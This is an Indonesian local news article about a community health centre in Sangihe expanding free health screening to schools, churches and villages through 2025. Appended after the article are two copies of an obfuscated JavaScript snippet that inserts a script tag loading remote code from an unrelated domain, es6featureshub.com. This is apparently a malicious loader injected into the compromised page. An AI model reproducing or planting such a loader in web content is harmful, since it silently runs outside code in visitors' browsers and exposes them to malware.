gambar

Puskesmas Tona Gencarkan Pemeriksaan Kesehatan Gratis di Sekolah dan Masyarakat

BERITA ONLINE LOKAL, SANGIHE – Pusat Kesehatan Masyarakat (Puskesmas) Tona terus menggencarkan pelaksanaan Program Pemeriksaan Kesehatan Gratis (PKG) yang menjadi bagian dari upaya pemerintah meningkatkan kesadaran dan pencegahan penyakit di masyarakat.

Penanggung jawab program, Melitia C. Elias, SKM, menjelaskan bahwa PKG merupakan program yang berfokus pada pendekatan promotif dan preventif, yakni upaya pencegahan penyakit dan peningkatan derajat kesehatan masyarakat.

“Tujuan utama PKG adalah meningkatkan kesadaran masyarakat akan pentingnya menjaga kesehatan, serta mendeteksi dini kondisi pra-penyakit atau faktor risiko penyakit sebelum berkembang menjadi lebih serius,” ujar Elias saat dikonfirmasi, Rabu (22/10/2025).

Dijelaskan Elias, bahwa secara nasional, program ini diluncurkan pada 10 Februari 2025, sementara Puskesmas Tona mulai melaksanakannya sejak Maret 2025 dengan sasaran utama anak usia 0–6 tahun dan masyarakat berusia 18–60 tahun ke atas.

Pelaksanaan PKG dilakukan tidak hanya di dalam gedung puskesmas, tetapi juga melalui kegiatan luar gedung yang terintegrasi dengan berbagai program kesehatan masyarakat, seperti SDIDTK bagi anak PAUD dan TK, Posyandu ILP, serta pelayanan langsung kepada keluarga di gereja-gereja.

“Program PKG sekolah sendiri dimulai pada Juli 2025 dengan menyasar 9 Sekolah Dasar di wilayah kerja Puskesmas Tona. Kemudian pada Agustus 2025, kegiatan serupa dilaksanakan di 3 SMP, menyasar seluruh siswa kelas VII. Selanjutnya, pada Oktober 2025, PKG menjangkau 8 SMA dan 3 SMP di wilayah Kecamatan Tahuna Timur,” ucap dia.

Hingga kini, pelaksanaan PKG di Puskesmas Tona telah berjalan selama 8 bulan dan akan terus dilanjutkan secara berkesinambungan. Sasaran PKG meliputi seluruh lapisan masyarakat, mulai dari bayi usia 0 tahun, anak-anak, remaja, hingga dewasa dan lanjut usia.

Dalam pelaksanaannya lanjut dia, jumlah tenaga kesehatan yang ditugaskan juga mengalami peningkatan.

“Awalnya hanya ada 4 tenaga kesehatan, namun pada bulan Oktober ini sudah menjadi 9 orang karena jumlah siswa di tingkat SMA dan SMK cukup banyak, sehingga diperlukan tambahan petugas,” jelas Elias.

Meski berjalan lancar, pelaksanaan PKG sekolah juga menghadapi sejumlah kendala, terutama dalam proses penginputan data dan pelaporan.

“Beberapa kali kami menemui kendala saat memasukkan data peserta karena NIK yang tidak sesuai. Meskipun begitu, pemeriksaan tetap dilakukan agar seluruh sasaran bisa terlayani,” tambahnya.

Melalui pelaksanaan PKG ini, Puskesmas Tona berharap kesadaran masyarakat terhadap pentingnya kesehatan semakin meningkat, serta deteksi dini terhadap penyakit dapat dilakukan sejak awal untuk mencegah risiko yang lebih besar.

;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);